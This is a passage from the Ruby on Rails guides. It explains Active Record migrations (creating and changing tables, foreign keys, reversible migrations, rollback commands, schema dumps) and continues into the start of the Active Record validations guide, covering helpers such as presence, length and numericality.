  create_table :users do |t|
  t.string :name, index: true
  t.string :email, index: { unique: true, name: 'unique_emails' }
end

Also, you can pass the :comment option with any description for the table that will be stored in the database itself and can be viewed with database administration tools, such as MySQL Workbench or PgAdmin III. It's highly recommended to specify comments in migrations for applications with large databases as it helps people to understand the data model and generate documentation. Currently only the MySQL and PostgreSQL adapters support comments.

3.2 Creating a Join Table

The migration method create_join_table creates an HABTM (has and belongs to many) join table. A typical use would be:

  create_join_table :products, :categories

which creates a categories_products table with two columns called category_id and product_id. These columns have the option :null set to false by default. This can be overridden by specifying the :column_options option:

  create_join_table :products, :categories, column_options: { null: true }

By default, the name of the join table comes from the union of the first two arguments provided to create_join_table, in alphabetical order. To customize the name of the table, provide a :table_name option:

  create_join_table :products, :categories, table_name: :categorization

creates a categorization table.

create_join_table also accepts a block, which you can use to add indices (which are not created by default) or additional columns:

  create_join_table :products, :categories do |t|
  t.index :product_id
  t.index :category_id
end

3.3 Changing Tables

A close cousin of create_table is change_table, used for changing existing tables. It is used in a similar fashion to create_table but the object yielded to the block knows more tricks. For example:

  change_table :products do |t|
  t.remove :description, :name
  t.string :part_number
  t.index :part_number
  t.rename :upccode, :upc_code
end

removes the description and name columns, creates a part_number string column and adds an index on it. Finally it renames the upccode column.

3.4 Changing Columns

Like the remove_column and add_column Rails provides the change_column migration method.

  change_column :products, :part_number, :text

This changes the column part_number on products table to be a :text field. Note that change_column command is irreversible.

Besides change_column, the change_column_null and change_column_default methods are used specifically to change a not null constraint and default values of a column.

  change_column_null :products, :name, false
change_column_default :products, :approved, from: true, to: false

This sets :name field on products to a NOT NULL column and the default value of the :approved field from true to false.

You could also write the above change_column_default migration as change_column_default :products, :approved, false, but unlike the previous example, this would make your migration irreversible.

3.5 Column Modifiers

Column modifiers can be applied when creating or changing a column:

comment Adds a comment for the column.

collation Specifies the collation for a string or text column.

default Allows to set a default value on the column. Note that if you are using a dynamic value (such as a date), the default will only be calculated the first time (i.e. on the date the migration is applied). Use nil for NULL.

limit Sets the maximum number of characters for a string column and the maximum number of bytes for text/binary/integer columns.

null Allows or disallows NULL values in the column.

precision Specifies the precision for decimal/numeric/datetime/time columns.

scale Specifies the scale for the decimal and numeric columns, representing the number of digits after the decimal point.

For add_column or change_column there is no option for adding indexes. They need to be added separately using add_index.

Some adapters may support additional options; see the adapter specific API docs for further information.

null and default cannot be specified via command line.

3.6 References

The add_reference method allows the creation of an appropriately named column.

  add_reference :users, :role

This migration will create a role_id column in the users table. It creates an index for this column as well, unless explicitly told not to with the index: false option:

  add_reference :users, :role, index: false

The method add_belongs_to is an alias of add_reference.

  add_belongs_to :taggings, :taggable, polymorphic: true

The polymorphic option will create two columns on the taggings table which can be used for polymorphic associations: taggable_type and taggable_id.

A foreign key can be created with the foreign_key option.

  add_reference :users, :role, foreign_key: true

For more add_reference options, visit the API documentation.

References can also be removed:

  remove_reference :products, :user, foreign_key: true, index: false

3.7 Foreign Keys

While it's not required you might want to add foreign key constraints to guarantee referential integrity.

  add_foreign_key :articles, :authors

This add_foreign_key call adds a new constraint to the articles table. The constraint guarantees that a row in the authors table exists where the id column matches the articles.author_id.

If the from_table column name cannot be derived from the to_table name, you can use the :column option. Use the :primary_key option if the referenced primary key is not :id.

For example, to add a foreign key on articles.reviewer referencing authors.email:

  add_foreign_key :articles, :authors, column: :reviewer, primary_key: :email

add_foreign_key also supports options such as name, on_delete, if_not_exists, validate, and deferrable.

Active Record only supports single column foreign keys. execute and structure.sql are required to use composite foreign keys. See Schema Dumping and You.

Foreign keys can also be removed:

  # let Active Record figure out the column name
remove_foreign_key :accounts, :branches

# remove foreign key for a specific column
remove_foreign_key :accounts, column: :owner_id

3.8 When Helpers aren't Enough

If the helpers provided by Active Record aren't enough you can use the execute method to execute arbitrary SQL:

  Product.connection.execute("UPDATE products SET price = 'free' WHERE 1=1")

For more details and examples of individual methods, check the API documentation. In particular the documentation for ActiveRecord::ConnectionAdapters::SchemaStatements (which provides the methods available in the change, up and down methods), ActiveRecord::ConnectionAdapters::TableDefinition (which provides the methods available on the object yielded by create_table) and ActiveRecord::ConnectionAdapters::Table (which provides the methods available on the object yielded by change_table).

3.9 Using the change Method

The change method is the primary way of writing migrations. It works for the majority of cases in which Active Record knows how to reverse a migration's actions automatically. Below are some of the actions that change supports:

add_check_constraint

add_column

add_foreign_key

add_index

add_reference

add_timestamps

change_column_comment (must supply a :from and :to option)

change_column_default (must supply a :from and :to option)

change_column_null

change_table_comment (must supply a :from and :to option)

create_join_table

create_table

disable_extension

drop_join_table

drop_table (must supply a block)

enable_extension

remove_check_constraint (must supply a constraint expression)

remove_column (must supply a type)

remove_columns (must supply a :type option)

remove_foreign_key (must supply a second table)

remove_index

remove_reference

remove_timestamps

rename_column

rename_index

rename_table

change_table is also reversible, as long as the block only calls reversible operations like the ones listed above.

remove_column is reversible if you supply the column type as the third argument. Provide the original column options too, otherwise Rails can't recreate the column exactly when rolling back:

  remove_column :posts, :slug, :string, null: false, default: ''

If you're going to need to use any other methods, you should use reversible or write the up and down methods instead of using the change method.

3.10 Using reversible

Complex migrations may require processing that Active Record doesn't know how to reverse. You can use reversible to specify what to do when running a migration and what else to do when reverting it. For example:

  class ExampleMigration < ActiveRecord::Migration[7.0]
  def change
    create_table :distributors do |t|
      t.string :zipcode
    end

    reversible do |direction|
      direction.up do
        # create a distributors view
        execute <<-SQL
          CREATE VIEW distributors_view AS
          SELECT id, zipcode
          FROM distributors;
        SQL
      end
      direction.down do
        execute <<-SQL
          DROP VIEW distributors_view;
        SQL
      end
    end

    add_column :users, :home_page_url, :string
    rename_column :users, :email, :email_address
  end
end

Using reversible will ensure that the instructions are executed in the right order too. If the previous example migration is reverted, the down block will be run after the home_page_url column is removed and right before the table distributors is dropped.

Sometimes your migration will do something which is just plain irreversible; for example, it might destroy some data. In such cases, you can raise ActiveRecord::IrreversibleMigration in your down block. If someone tries to revert your migration, an error message will be displayed saying that it can't be done.

3.11 Using the up/down Methods

You can also use the old style of migration using up and down methods instead of the change method. The up method should describe the transformation you'd like to make to your schema, and the down method of your migration should revert the transformations done by the up method. In other words, the database schema should be unchanged if you do an up followed by a down. For example, if you create a table in the up method, you should drop it in the down method. It is wise to perform the transformations in precisely the reverse order they were made in the up method. The example in the reversible section is equivalent to:

  class ExampleMigration < ActiveRecord::Migration[7.0]
  def up
    create_table :distributors do |t|
      t.string :zipcode
    end

    # create a distributors view
    execute <<-SQL
      CREATE VIEW distributors_view AS
      SELECT id, zipcode
      FROM distributors;
    SQL

    add_column :users, :home_page_url, :string
    rename_column :users, :email, :email_address
  end

  def down
    rename_column :users, :email_address, :email
    remove_column :users, :home_page_url

    execute <<-SQL
      DROP VIEW distributors_view;
    SQL

    drop_table :distributors
  end
end

If your migration is irreversible, you should raise ActiveRecord::IrreversibleMigration from your down method. If someone tries to revert your migration, an error message will be displayed saying that it can't be done.

3.12 Reverting Previous Migrations

You can use Active Record's ability to rollback migrations using the revert method:

  require_relative "20121212123456_example_migration"

class FixupExampleMigration < ActiveRecord::Migration[7.0]
  def change
    revert ExampleMigration

    create_table(:apples) do |t|
      t.string :variety
    end
  end
end

The revert method also accepts a block of instructions to reverse. This could be useful to revert selected parts of previous migrations.

For example, let's imagine that ExampleMigration is committed and it is later decided that a Distributors view is no longer needed.

  class DontUseDistributorsViewMigration < ActiveRecord::Migration[7.0]
  def change
    revert do
      # copy-pasted code from ExampleMigration
      reversible do |direction|
        direction.up do
          # create a distributors view
          execute <<-SQL
            CREATE VIEW distributors_view AS
            SELECT id, zipcode
            FROM distributors;
          SQL
        end
        direction.down do
          execute <<-SQL
            DROP VIEW distributors_view;
          SQL
        end
      end

      # The rest of the migration was ok
    end
  end
end

The same migration could also have been written without using revert but this would have involved a few more steps: reversing the order of create_table and reversible, replacing create_table by drop_table, and finally replacing up by down and vice-versa. This is all taken care of by revert.

4 Running Migrations

Rails provides a set of rails commands to run certain sets of migrations.

The very first migration related rails command you will use will probably be bin/rails db:migrate. In its most basic form it just runs the change or up method for all the migrations that have not yet been run. If there are no such migrations, it exits. It will run these migrations in order based on the date of the migration.

Note that running the db:migrate command also invokes the db:schema:dump command, which will update your db/schema.rb file to match the structure of your database.

If you specify a target version, Active Record will run the required migrations (change, up, down) until it has reached the specified version. The version is the numerical prefix on the migration's filename. For example, to migrate to version 20080906120000 run:

  $ bin/rails db:migrate VERSION=20080906120000

If version 20080906120000 is greater than the current version (i.e., it is migrating upwards), this will run the change (or up) method on all migrations up to and including 20080906120000, and will not execute any later migrations. If migrating downwards, this will run the down method on all the migrations down to, but not including, 20080906120000.

4.1 Rolling Back

A common task is to rollback the last migration. For example, if you made a mistake in it and wish to correct it. Rather than tracking down the version number associated with the previous migration you can run:

  $ bin/rails db:rollback

This will rollback the latest migration, either by reverting the change method or by running the down method. If you need to undo several migrations you can provide a STEP parameter:

  $ bin/rails db:rollback STEP=3

will revert the last 3 migrations.

The db:migrate:redo command is a shortcut for doing a rollback and then migrating back up again. As with the db:rollback command, you can use the STEP parameter if you need to go more than one version back, for example:

  $ bin/rails db:migrate:redo STEP=3

Neither of these rails commands do anything you could not do with db:migrate. They are there for convenience, since you do not need to explicitly specify the version to migrate to.

4.2 Setup the Database

The bin/rails db:setup command will create the database, load the schema, and initialize it with the seed data.

4.3 Resetting the Database

The bin/rails db:reset command will drop the database and set it up again. This is functionally equivalent to bin/rails db:drop db:setup.

This is not the same as running all the migrations. It will only use the contents of the current db/schema.rb or db/structure.sql file. If a migration can't be rolled back, bin/rails db:reset may not help you. To find out more about dumping the schema see Schema Dumping and You section.

4.4 Running Specific Migrations

If you need to run a specific migration up or down, the db:migrate:up and db:migrate:down commands will do that. Just specify the appropriate version and the corresponding migration will have its change, up or down method invoked, for example:

  $ bin/rails db:migrate:up VERSION=20080906120000

will run the 20080906120000 migration by running the change method (or the up method). This command will first check whether the migration is already performed and will do nothing if Active Record believes that it has already been run.

4.5 Running Migrations in Different Environments

By default running bin/rails db:migrate will run in the development environment. To run migrations against another environment you can specify it using the RAILS_ENV environment variable while running the command. For example to run migrations against the test environment you could run:

  $ bin/rails db:migrate RAILS_ENV=test

4.6 Changing the Output of Running Migrations

By default migrations tell you exactly what they're doing and how long it took. A migration creating a table and adding an index might produce output like this

  ==  CreateProducts: migrating =================================================
-- create_table(:products)
   -> 0.0028s
==  CreateProducts: migrated (0.0028s) ========================================

Several methods are provided in migrations that allow you to control all this:

Method | Purpose
suppress_messages | Takes a block as an argument and suppresses any output generated by the block.
say | Takes a message argument and outputs it as is. A second boolean argument can be passed to specify whether to indent or not.
say_with_time | Outputs text along with how long it took to run its block. If the block returns an integer it assumes it is the number of rows affected.

For example, this migration:

  class CreateProducts < ActiveRecord::Migration[7.0]
  def change
    suppress_messages do
      create_table :products do |t|
        t.string :name
        t.text :description
        t.timestamps
      end
    end

    say "Created a table"

    suppress_messages {add_index :products, :name}
    say "and an index!", true

    say_with_time 'Waiting for a while' do
      sleep 10
      250
    end
  end
end

generates the following output

  ==  CreateProducts: migrating =================================================
-- Created a table
   -> and an index!
-- Waiting for a while
   -> 10.0013s
   -> 250 rows
==  CreateProducts: migrated (10.0054s) =======================================

If you want Active Record to not output anything, then running bin/rails db:migrate VERBOSE=false will suppress all output.

5 Changing Existing Migrations

Occasionally you will make a mistake when writing a migration. If you have already run the migration, then you cannot just edit the migration and run the migration again: Rails thinks it has already run the migration and so will do nothing when you run bin/rails db:migrate. You must rollback the migration (for example with bin/rails db:rollback), edit your migration, and then run bin/rails db:migrate to run the corrected version.

In general, editing existing migrations is not a good idea. You will be creating extra work for yourself and your co-workers and cause major headaches if the existing version of the migration has already been run on production machines. Instead, you should write a new migration that performs the changes you require. Editing a freshly generated migration that has not yet been committed to source control (or, more generally, which has not been propagated beyond your development machine) is relatively harmless.

The revert method can be helpful when writing a new migration to undo previous migrations in whole or in part (see Reverting Previous Migrations above).

6 Schema Dumping and You

6.1 What are Schema Files for?

Migrations, mighty as they may be, are not the authoritative source for your database schema. Your database remains the authoritative source. By default, Rails generates db/schema.rb which attempts to capture the current state of your database schema.

It tends to be faster and less error prone to create a new instance of your application's database by loading the schema file via bin/rails db:schema:load than it is to replay the entire migration history. Old migrations may fail to apply correctly if those migrations use changing external dependencies or rely on application code which evolves separately from your migrations.

Schema files are also useful if you want a quick look at what attributes an Active Record object has. This information is not in the model's code and is frequently spread across several migrations, but the information is nicely summed up in the schema file.

6.2 Types of Schema Dumps

The format of the schema dump generated by Rails is controlled by the config.active_record.schema_format setting in config/application.rb. By default, the format is :ruby, but can also be set to :sql.

If :ruby is selected, then the schema is stored in db/schema.rb. If you look at this file you'll find that it looks an awful lot like one very big migration:

  ActiveRecord::Schema[7.0].define(version: 2008_09_06_171750) do
  create_table "authors", force: true do |t|
    t.string   "name"
    t.datetime "created_at"
    t.datetime "updated_at"
  end

  create_table "products", force: true do |t|
    t.string   "name"
    t.text     "description"
    t.datetime "created_at"
    t.datetime "updated_at"
    t.string   "part_number"
  end
end

In many ways this is exactly what it is. This file is created by inspecting the database and expressing its structure using create_table, add_index, and so on.

db/schema.rb cannot express everything your database may support such as triggers, sequences, stored procedures, etc. While migrations may use execute to create database constructs that are not supported by the Ruby migration DSL, these constructs may not be able to be reconstituted by the schema dumper. If you are using features like these, you should set the schema format to :sql in order to get an accurate schema file that is useful to create new database instances.

When the schema format is set to :sql, the database structure will be dumped using a tool specific to the database into db/structure.sql. For example, for PostgreSQL, the pg_dump utility is used. For MySQL and MariaDB, this file will contain the output of SHOW CREATE TABLE for the various tables.

To load the schema from db/structure.sql, run bin/rails db:schema:load. Loading this file is done by executing the SQL statements it contains. By definition, this will create a perfect copy of the database's structure.

6.3 Schema Dumps and Source Control

Because schema files are commonly used to create new databases, it is strongly recommended that you check your schema file into source control.

Merge conflicts can occur in your schema file when two branches modify schema. To resolve these conflicts run bin/rails db:migrate to regenerate the schema file.

7 Active Record and Referential Integrity

The Active Record way claims that intelligence belongs in your models, not in the database. As such, features such as triggers or constraints, which push some of that intelligence back into the database, are not heavily used.

Validations such as validates :foreign_key, uniqueness: true are one way in which models can enforce data integrity. The :dependent option on associations allows models to automatically destroy child objects when the parent is destroyed. Like anything which operates at the application level, these cannot guarantee referential integrity and so some people augment them with foreign key constraints in the database.

Although Active Record does not provide all the tools for working directly with such features, the execute method can be used to execute arbitrary SQL.

8 Migrations and Seed Data

The main purpose of Rails' migration feature is to issue commands that modify the schema using a consistent process. Migrations can also be used to add or modify data. This is useful in an existing database that can't be destroyed and recreated, such as a production database.

  class AddInitialProducts < ActiveRecord::Migration[7.0]
  def up
    5.times do |i|
      Product.create(name: "Product ##{i}", description: "A product.")
    end
  end

  def down
    Product.delete_all
  end
end

To add initial data after a database is created, Rails has a built-in 'seeds' feature that speeds up the process. This is especially useful when reloading the database frequently in development and test environments. To get started with this feature, fill up db/seeds.rb with some Ruby code, and run bin/rails db:seed:

  5.times do |i|
  Product.create(name: "Product ##{i}", description: "A product.")
end

This is generally a much cleaner way to set up the database of a blank application.

9 Old Migrations

The db/schema.rb or db/structure.sql is a snapshot of the current state of your database and is the authoritative source for rebuilding that database. This makes it possible to delete old migration files.

When you delete migration files in the db/migrate/ directory, any environment where bin/rails db:migrate was run when those files still existed will hold a reference to the migration timestamp specific to them inside an internal Rails database table named schema_migrations. This table is used to keep track of whether migrations have been executed in a specific environment.

If you run the bin/rails db:migrate:status command, which displays the status (up or down) of each migration, you should see ********** NO FILE ********** displayed next to any deleted migration file which was once executed on a specific environment but can no longer be found in the db/migrate/ directory.

There's a caveat, though. Rake tasks to install migrations from engines are idempotent. Migrations present in the parent application due to a previous installation are skipped, and missing ones are copied with a new leading timestamp. If you deleted old engine migrations and ran the install task again, you'd get new files with new timestamps, and db:migrate would attempt to run them again.

Thus, you generally want to preserve migrations coming from engines. They have a special comment like this:

  # This migration comes from blorgh (originally 20210621082949)

Active Record Validations

This guide teaches you how to validate the state of objects before they go into the database using Active Record's validations feature.

After reading this guide, you will know:

How to use the built-in Active Record validation helpers.

How to create your own custom validation methods.

How to work with the error messages generated by the validation process.

Chapters

Validations Overview

Why Use Validations?

When Does Validation Happen?

Skipping Validations

valid? and invalid?

errors[]

Validation Helpers

acceptance

validates_associated

confirmation

comparison

exclusion

format

inclusion

length

numericality

presence

absence

uniqueness

validates_with

validates_each

Common Validation Options

:allow_nil

:allow_blank

:message

:on

Strict Validations

Conditional Validation

Using a Symbol with :if and :unless

Using a Proc with :if and :unless

Grouping Conditional Validations

Combining Validation Conditions

Performing Custom Validations

Custom Validators

Custom Methods

Working with Validation Errors

errors

errors[]

errors.where and Error Object

errors.add

errors[:base]

errors.clear

errors.size

Displaying Validation Errors in Views

1 Validations Overview

Here's an example of a very simple validation:

  class Person < ApplicationRecord
  validates :name, presence: true
end

  irb> Person.create(name: "John Doe").valid?
=> true
irb> Person.create(name: nil).valid?
=> false

As you can see, our validation lets us know that our Person is not valid without a name attribute. The second Person will not be persisted to the database.

Before we dig into more details, let's talk about how validations fit into the big picture of your application.

1.1 Why Use Validations?

Validations are used to ensure that only valid data is saved into your database. For example, it may be important to your application to ensure that every user provides a valid email address and mailing address. Model-level validations are the best way to ensure that only valid data is saved into your database. They are database agnostic, cannot be bypassed by end users, and are convenient to test and maintain. Rails provides built-in helpers for common needs, and allows you to create your own validation methods as well.

There are several other ways to validate data before it is saved into your database, including native database constraints, client-side validations and controller-level validations. Here's a summary of the pros and cons:

Database constraints and/or stored procedures make the validation mechanisms database-dependent and can make testing and maintenance more difficult. However, if your database is used by other applications, it may be a good idea to use some constraints at the database level. Additionally, database-level validations can safely handle some things (such as uniqueness in heavily-used tables) that can be difficult to implement otherwise.

Client-side validations can be useful, but are generally unreliable if used alone. If they are implemented using JavaScript, they may be bypassed if JavaScript is turned off in the user's browser. However, if combined with other techniques, client-side validation can be a convenient way to provide users with immediate feedback as they use your site.

Controller-level validations can be tempting to use, but often become unwieldy and difficult to test and maintain. Whenever possible, it's a good idea to keep your controllers skinny, as it will make your application a pleasure to work with in the long run.

Choose these in certain, specific cases. It's the opinion of the Rails team that model-level validations are the most appropriate in most circumstances.

1.2 When Does Validation Happen?

There are two kinds of Active Record objects: those that correspond to a row inside your database and those that do not. When you create a fresh object, for example using the new method, that object does not belong to the database yet. Once you call save upon that object it will be saved into the appropriate database table. Active Record uses the new_record? instance method to determine whether an object is already in the database or not. Consider the following Active Record class:

  class Person < ApplicationRecord
end

We can see how it works by looking at some bin/rails console output:

  irb> p = Person.new(name: "John Doe")
=> #<Person id: nil, name: "John Doe", created_at: nil, updated_at: nil>

irb> p.new_record?
=> true

irb> p.save
=> true

irb> p.new_record?
=> false

Creating and saving a new record will send an SQL INSERT operation to the database. Updating an existing record will send an SQL UPDATE operation instead. Validations are typically run before these commands are sent to the database. If any validations fail, the object will be marked as invalid and Active Record will not perform the INSERT or UPDATE operation. This avoids storing an invalid object in the database. You can choose to have specific validations run when an object is created, saved, or updated.

There are many ways to change the state of an object in the database. Some methods will trigger validations, but some will not. This means that it's possible to save an object in the database in an invalid state if you aren't careful.

The following methods trigger validations, and will save the object to the database only if the object is valid:

create

create!

save

save!

update

update!

The bang versions (e.g. save!) raise an exception if the record is invalid. The non-bang versions don't: save and update return false, and create returns the object.

1.3 Skipping Validations

The following methods skip validations, and will save the object to the database regardless of its validity. They should be used with caution.

decrement!

decrement_counter

increment!

increment_counter

insert

insert!

insert_all

insert_all!

toggle!

touch

touch_all

update_all

update_attribute

update_column

update_columns

update_counters

upsert

upsert_all

Note that save also has the ability to skip validations if passed validate: false as an argument. This technique should be used with caution.

save(validate: false)

1.4 valid? and invalid?

Before saving an Active Record object, Rails runs your validations. If these validations produce any errors, Rails does not save the object.

You can also run these validations on your own. valid? triggers your validations and returns true if no errors were found in the object, and false otherwise. As you saw above:

  class Person < ApplicationRecord
  validates :name, presence: true
end

  irb> Person.create(name: "John Doe").valid?
=> true
irb> Person.create(name: nil).valid?
=> false

After Active Record has performed validations, any errors found can be accessed through the errors instance method, which returns a collection of errors. By definition, an object is valid if this collection is empty after running validations.

Note that an object instantiated with new will not report errors even if it's technically invalid, because validations are automatically run only when the object is saved, such as with the create or save methods.

  class Person < ApplicationRecord
  validates :name, presence: true
end

  irb> p = Person.new
=> #<Person id: nil, name: nil>
irb> p.errors.size
=> 0

irb> p.valid?
=> false
irb> p.errors.objects.first.full_message
=> "Name can't be blank"

irb> p = Person.create
=> #<Person id: nil, name: nil>
irb> p.errors.objects.first.full_message
=> "Name can't be blank"

irb> p.save
=> false

irb> p.save!
ActiveRecord::RecordInvalid: Validation failed: Name can't be blank

irb> Person.create!
ActiveRecord::RecordInvalid: Validation failed: Name can't be blank

invalid? is the inverse of valid?. It triggers your validations, returning true if any errors were found in the object, and false otherwise.

1.5 errors[]

To verify whether or not a particular attribute of an object is valid, you can use errors[:attribute]. It returns an array of all the error messages for :attribute. If there are no errors on the specified attribute, an empty array is returned.

This method is only useful after validations have been run, because it only inspects the errors collection and does not trigger validations itself. It's different from the ActiveRecord::Base#invalid? method explained above because it doesn't verify the validity of the object as a whole. It only checks to see whether there are errors found on an individual attribute of the object.

  class Person < ApplicationRecord
  validates :name, presence: true
end

  irb> Person.new.errors[:name].any?
=> false
irb> Person.create.errors[:name].any?
=> true

We'll cover validation errors in greater depth in the Working with Validation Errors section.

2 Validation Helpers

Active Record offers many pre-defined validation helpers that you can use directly inside your class definitions. These helpers provide common validation rules. Every time a validation fails, an error is added to the object's errors collection, and this is associated with the attribute being validated.

Each helper accepts an arbitrary number of attribute names, so with a single line of code you can add the same kind of validation to several attributes.

All of them accept the :on and :message options, which define when the validation should be run and what message should be added to the errors collection if it fails, respectively. The :on option takes one of the values :create or :update. There is a default error message for each one of the validation helpers. These messages are used when the :message option isn't specified. Let's take a look at each one of the available helpers.

2.1 acceptance

This method validates that a checkbox on the user interface was checked when a form was submitted. This is typically used when the user needs to agree to your application's terms of service, confirm that some text is read, or any similar concept.

  class Person < ApplicationRecord
  validates :terms_of_service, acceptance: true
end

This check is performed only if terms_of_service is not nil. The default error message for this helper is "must be accepted". You can also pass in a custom message via the message option.

  class Person < ApplicationRecord
  validates :terms_of_service, acceptance: { message: 'must be abided' }
end

It can also receive an :accept option, which determines the allowed values that will be considered as accepted. It defaults to ['1', true] and can be easily changed.

  class Person < ApplicationRecord
  validates :terms_of_service, acceptance: { accept: 'yes' }
  validates :eula, acceptance: { accept: ['TRUE', 'accepted'] }
end

This validation is very specific to web applications and this 'acceptance' does not need to be recorded anywhere in your database. If you don't have a field for it, the helper will create a virtual attribute. If the field does exist in your database, the accept option must be set to or include true or else the validation will not run.

2.2 validates_associated

You should use this helper when your model has associations with other models and they also need to be validated. When you try to save your object, valid? will be called upon each one of the associated objects.

  class Library < ApplicationRecord
  has_many :books
  validates_associated :books
end

This validation will work with all of the association types.

Don't use validates_associated on both ends of your associations. They would call each other in an infinite loop.

The default error message for validates_associated is "is invalid". Note that each associated object will contain its own errors collection; errors do not bubble up to the calling model.

2.3 confirmation

You should use this helper when you have two text fields that should receive exactly the same content. For example, you may want to confirm an email address or a password. This validation creates a virtual attribute whose name is the name of the field that has to be confirmed with "_confirmation" appended.

  class Person < ApplicationRecord
  validates :email, confirmation: true
end

In your view template you could use something like

  <%= text_field :person, :email %>
<%= text_field :person, :email_confirmation %>

This check is performed only if email_confirmation is not nil. To require confirmation, make sure to add a presence check for the confirmation attribute (we'll take a look at presence later on in this guide):

  class Person < ApplicationRecord
  validates :email, confirmation: true
  validates :email_confirmation, presence: true
end

There is also a :case_sensitive option that you can use to define whether the confirmation constraint will be case sensitive or not. This option defaults to true.

  class Person < ApplicationRecord
  validates :email, confirmation: { case_sensitive: false }
end

The default error message for this helper is "doesn't match confirmation".

2.4 comparison

This check will validate a comparison between any two comparable values. The validator requires a compare option be supplied. Each option accepts a value, proc, or symbol. Any class that includes Comparable can be compared.

  class Promotion < ApplicationRecord
  validates :start_date, comparison: { greater_than: :end_date }
end

These options are all supported:

:greater_than - Specifies the value must be greater than the supplied value. The default error message for this option is "must be greater than %{count}".

:greater_than_or_equal_to - Specifies the value must be greater than or equal to the supplied value. The default error message for this option is "must be greater than or equal to %{count}".

:equal_to - Specifies the value must be equal to the supplied value. The default error message for this option is "must be equal to %{count}".

:less_than - Specifies the value must be less than the supplied value. The default error message for this option is "must be less than %{count}".

:less_than_or_equal_to - Specifies the value must be less than or equal to the supplied value. The default error message for this option is "must be less than or equal to %{count}".

:other_than - Specifies the value must be other than the supplied value. The default error message for this option is "must be other than %{count}".

2.5 exclusion

This helper validates that the attributes' values are not included in a given set. In fact, this set can be any enumerable object.

  class Account < ApplicationRecord
  validates :subdomain, exclusion: { in: %w(www us ca jp),
    message: "%{value} is reserved." }
end

The exclusion helper has an option :in that receives the set of values that will not be accepted for the validated attributes. The :in option has an alias called :within that you can use for the same purpose, if you'd like to. This example uses the :message option to show how you can include the attribute's value. For full options to the message argument please see the message documentation.

The default error message is "is reserved".

2.6 format

This helper validates the attributes' values by testing whether they match a given regular expression, which is specified using the :with option.

  class Product < ApplicationRecord
  validates :legacy_code, format: { with: /\A[a-zA-Z]+\z/,
    message: "only allows letters" }
end

Alternatively, you can require that the specified attribute does not match the regular expression by using the :without option.

The default error message is "is invalid".

2.7 inclusion

This helper validates that the attributes' values are included in a given set. In fact, this set can be any enumerable object.

  class Coffee < ApplicationRecord
  validates :size, inclusion: { in: %w(small medium large),
    message: "%{value} is not a valid size" }
end

The inclusion helper has an option :in that receives the set of values that will be accepted. The :in option has an alias called :within that you can use for the same purpose, if you'd like to. The previous example uses the :message option to show how you can include the attribute's value. For full options please see the message documentation.

The default error message for this helper is "is not included in the list".

2.8 length

This helper validates the length of the attributes' values. It provides a variety of options, so you can specify length constraints in different ways:

  class Person < ApplicationRecord
  validates :name, length: { minimum: 2 }
  validates :bio, length: { maximum: 500 }
  validates :password, length: { in: 6..20 }
  validates :registration_number, length: { is: 6 }
end

The possible length constraint options are:

:minimum - The attribute cannot have less than the specified length.

:maximum - The attribute cannot have more than the specified length.

:in (or :within) - The attribute length must be included in a given interval. The value for this option must be a range.

:is - The attribute length must be equal to the given value.

The default error messages depend on the type of length validation being performed. You can customize these messages using the :wrong_length, :too_long, and :too_short options and %{count} as a placeholder for the number corresponding to the length constraint being used. You can still use the :message option to specify an error message.

  class Person < ApplicationRecord
  validates :bio, length: { maximum: 1000,
    too_long: "%{count} characters is the maximum allowed" }
end

Note that the default error messages are plural (e.g., "is too short (minimum is %{count} characters)"). For this reason, when :minimum is 1 you should provide a custom message or use presence: true instead. When :in or :within have a lower limit of 1, you should either provide a custom message or call presence prior to length.

2.9 numericality

This helper validates that your attributes have only numeric values. By default, it will match an optional sign followed by an integer or floating point number.

To specify that only integer numbers are allowed, set :only_integer to true. Then it will use the

  /\A[+-]?\d+\z/

regular expression to validate the attribute's value. Otherwise, it will try to convert the value to a number using Float. Floats are casted to BigDecimal using the column's precision value or 15.

  class Player < ApplicationRecord
  validates :points, numericality: true
  validates :games_played, numericality: { only_integer: true }
end

The default error message for :only_integer is "must be an integer".

Besides :only_integer, this helper also accepts the following options to add constraints to acceptable values:

:greater_than - Specifies the value must be greater than the supplied value. The default error message for this option is "must be greater than %{count}".

:greater_than_or_equal_to - Specifies the value must be greater than or equal to the supplied value. The default error message for this option is "must be greater than or equal to %{count}".

:equal_to - Specifies the value must be equal to the supplied value. The default error message for this option is "must be equal to %{count}".

:less_than - Specifies the value must be less than the supplied value. The default error message for this option is "must be less than %{count}".

:less_than_or_equal_to - Specifies the value must be less than or equal to the supplied value. The default error message for this option is "must be less than or equal to %{count}".

:other_than - Specifies the value must be other than the supplied value. The default error message for this option is "must be other than %{count}".

:in - Specifies the value must be in the supplied range. The default error message for this option is "must be in %{count}".

:odd - Specifies the value must be an odd number if set to true. The default error message for this option is "must be odd".

:even - Specifies the value must be an even number if set to true. The default error message for this option is "must be even".

By default, numericality doesn't allow nil values. You can use allow_nil: true option to permit it.

The default error message when no options are specified is "is not a number".

2.10 presence

This helper validates that the specified attributes are not empty. It uses the blank? method to check if the value is either nil or a blank string, that is, a string that is either empty or consists of whitespace.

  class Person < ApplicationRecord
  validates :name, :login, :email, presence: true
end

If you want to be sure that an association is present, you'll need to test whether the associated object itself is present, and not the foreign key used to map the association. This way, it is not only checked that the foreign key is not empty but also that the referenced object exists.

  class Supplier < ApplicationRecord
  has_one :account
  validates :account, presence: true
end

In order to validate associated records whose presence is required, you must specify the :inverse_of option for the association:

If you want to ensure that the association it is both present and valid, you also need to use validates_associated.

  class Order < ApplicationRecord
  has_many :line_items, inverse_of: :order
end

If you validate the presence of an object associated via a has_one or has_many relationship, it will check that the object is neither blank? nor marked_for_destruction?.

Since false.blank? is true, if you want to validate the presence of a boolean field you should use one of the following validations:

  validates :boolean_field_name, inclusion: [true, false]
validates :boolean_field_name, exclusion: [nil]

By using one of these validations, you will ensure the value will NOT be nil which would result in a NULL value in most cases.

2.11 absence

This helper validates that the specified attributes are absent. It uses the present? method to check if the value is not either nil or a blank string, that is, a string that is either empty or consists of whitespace.

  class Person < ApplicationRecord
  validates :name, :login, :email, absence: true
end

If you want to be sure that an association is absent, you'll need to test whether the associated object itself is absent, and not the foreign key used to map the association.

  class LineItem < ApplicationRecord
  belongs_to :order
  validates :order, absence: true
end

In order to validate associated records whose absence is required, you must specify the :inverse_of option for the association:

  class Order < ApplicationRecord
  has_many :line_items, inverse_of: :order
end

If you validate the absence of an object associated via a has_one or has_many relationship, it will check that the object is neither present? nor marked_for_destruction?.

Since false.present? is false, if you want to validate the absence of a boolean field you should use validates :field_name, exclusion: { in: [true, false] }.

The default error message is "must be blank".

2.12 uniqueness

